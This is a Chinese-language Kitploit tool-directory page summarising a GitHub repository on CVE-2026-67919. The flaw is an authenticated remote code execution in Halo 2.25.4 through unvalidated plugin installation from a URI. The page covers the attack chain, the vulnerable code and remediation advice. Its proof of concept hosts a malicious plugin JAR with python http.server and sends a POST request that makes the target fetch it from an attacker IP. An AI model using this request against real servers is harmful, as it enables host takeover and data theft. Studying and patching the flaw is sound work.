Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
halo-2.25.4-CVE-2026-67919 — 演示了 Halo 2.25.4 中通过未经验证的插件 URI 安装导致的一个已认证远程代码执行漏洞,包括技术分析和概念验证漏洞利用。 | Kitploit
工具/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

演示了 Halo 2.25.4 中通过未经验证的插件 URI 安装导致的一个已认证远程代码执行漏洞,包括技术分析和概念验证漏洞利用。

查看仓库
17天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Halo 2.25.4 中通过未经验证的插件 URI 安装实现认证远程代码执行(RCE)

1. 漏洞概述

在 Halo 2.25.4 版本中发现了一个严重的安全漏洞。该应用提供了一个管理端点,用于从远程 URI 安装或升级插件。然而,系统未能验证 URI 的源域名,并且在该特定组件上缺乏服务端请求伪造(SSRF)防护。具有插件管理权限的认证攻击者可以提供指向恶意构造的插件 JAR 文件的链接。服务器将使用 PF4J 框架和 Spring 的 DefaultPluginApplicationContextFactory 下载、临时存储并将该 JAR 文件动态加载到 JVM 上下文中。这允许执行不受信任的扩展类,从而在底层主机操作系统上实现任意远程代码执行(RCE)。

2. 漏洞详情

  • 漏洞类型: 代码注入 / 远程代码执行(RCE)
  • CWE ID: CWE-94:对代码生成的错误控制('代码注入') / CWE-434:危险类型文件的不受限制上传
  • 严重性: 🔴 严重
  • 预估 CVSS v3.1 评分: 9.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • 受影响版本: Halo 2.25.4(以及可能支持基于 URI 的插件安装的先前版本)
  • CVE ID: CVE-2026-67919

3. 受影响组件

提交 CVE 表单时请用逗号分隔:

纯文本

root@kitploit:~
PluginEndpoint.java, installFromUri 方法, DefaultPluginApplicationContextFactory

4. 攻击向量

认证管理员可以向 /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri 端点发送包含恶意远程插件 JAR URL 的构造 HTTP POST 请求。

5. 技术分析与攻击链

远程代码执行通过以下操作序列发生:

  1. 端点接收: PluginEndpoint.installFromUri() 方法处理传入的请求体(InstallFromUriRequest)并提取用户提供的 uri 字符串。未应用域名白名单过滤。
  2. 无防护的文件获取: 提取的 URI 被传递给 DefaultReactiveUrlDataBufferFetcher.fetch(uri)。与 Halo 中的其他内部网络组件不同,该获取器不会调用 HttpSecurityUtils.secureHttpClient(),从而跳过了内部私有网络/回环 IP 限制(SSRF 防护)。
  3. 本地文件持久化: 从远程 URI 下载的流式内容通过 writeToTempFile(content) 写入主机服务器上的本地临时目录。
  4. 动态类加载: 应用将临时路径传递给 pluginService.install(path),该路径利用 PF4J JarPluginLoader 解压并加载 JAR 文件。
  5. Spring Bean 注册与执行: 一旦 PF4J 完成上下文加载,Spring 的 DefaultPluginApplicationContextFactory 会自动解析插件 plugin.yaml 中的元数据,并将所有声明的扩展类作为活动 Spring Bean 注册到应用上下文中。
  6. 代码执行触发: 放置在扩展类静态初始化块(static {})或标注了 @PostConstruct 的方法块中的任何恶意代码,都将在实例创建期间通过 Runtime.getRuntime().exec() 立即执行。

易受攻击的源代码片段(PluginEndpoint.java 第 422-428 行):

Java

root@kitploit:~
var content = request.bodyToMono(InstallFromUriRequest.class)
    .map(InstallFromUriRequest::uri)
    .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // 未经验证的网络获取
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);

6. 概念验证(PoC)

步骤 1:托管恶意构件

攻击者编译一个标准的 PF4J/Halo 插件 JAR 文件(poc-plugin.jar),其中包含一个扩展类,在 @PostConstruct 生命周期钩子或静态块中带有载荷执行机制。攻击者将其托管在外部监听器上:

Bash

root@kitploit:~
python3 -m http.server 9999

步骤 2:触发漏洞

认证管理用户向目标 Halo 服务器发送以下 HTTP 请求:

HTTP

root@kitploit:~
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json

{
  "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}

步骤 3:预期结果

服务器处理安装过程,从攻击者的服务器获取构件,注册扩展,并执行编译的系统命令,从而危害目标主机。

image
image

7. 影响

  • 系统沦陷: 以应用进程的权限完全访问托管基础设施或 Docker 容器。
  • 数据窃取: 后端数据库、敏感应用凭据、配置密钥(application.yaml)和存储文件直接暴露。
  • 横向移动: 由于下载机制可以绕过标准出口规则访问回环或内部基础设施端点,服务器可被用作跳板攻击内部站点网络。

8. 修复建议

  1. 强制实施绝对域名白名单: 对传入的 uri 参数强制执行严格的验证规则。将远程安装模式限制为经过验证的可信官方生态系统市场(例如 https://awesome.halo.run)。
  2. 集成安全获取器: 重构 DefaultReactiveUrlDataBufferFetcher,利用现有的 HttpSecurityUtils.secureHttpClient() 工具来丢弃指向回环(127.0.0.1)、链路本地(169.254.169.254)或私有类网络(10.0.0.0/8、192.168.0.0/16)的请求。
  3. 加密插件验证: 为外部 JAR 模块实施数字签名验证标准。JarPluginLoader 上下文应在将文件传递给 DefaultPluginApplicationContextFactory 进行上下文实例化之前,根据官方仓库提供的公钥验证文件哈希或加密签名。
下载工具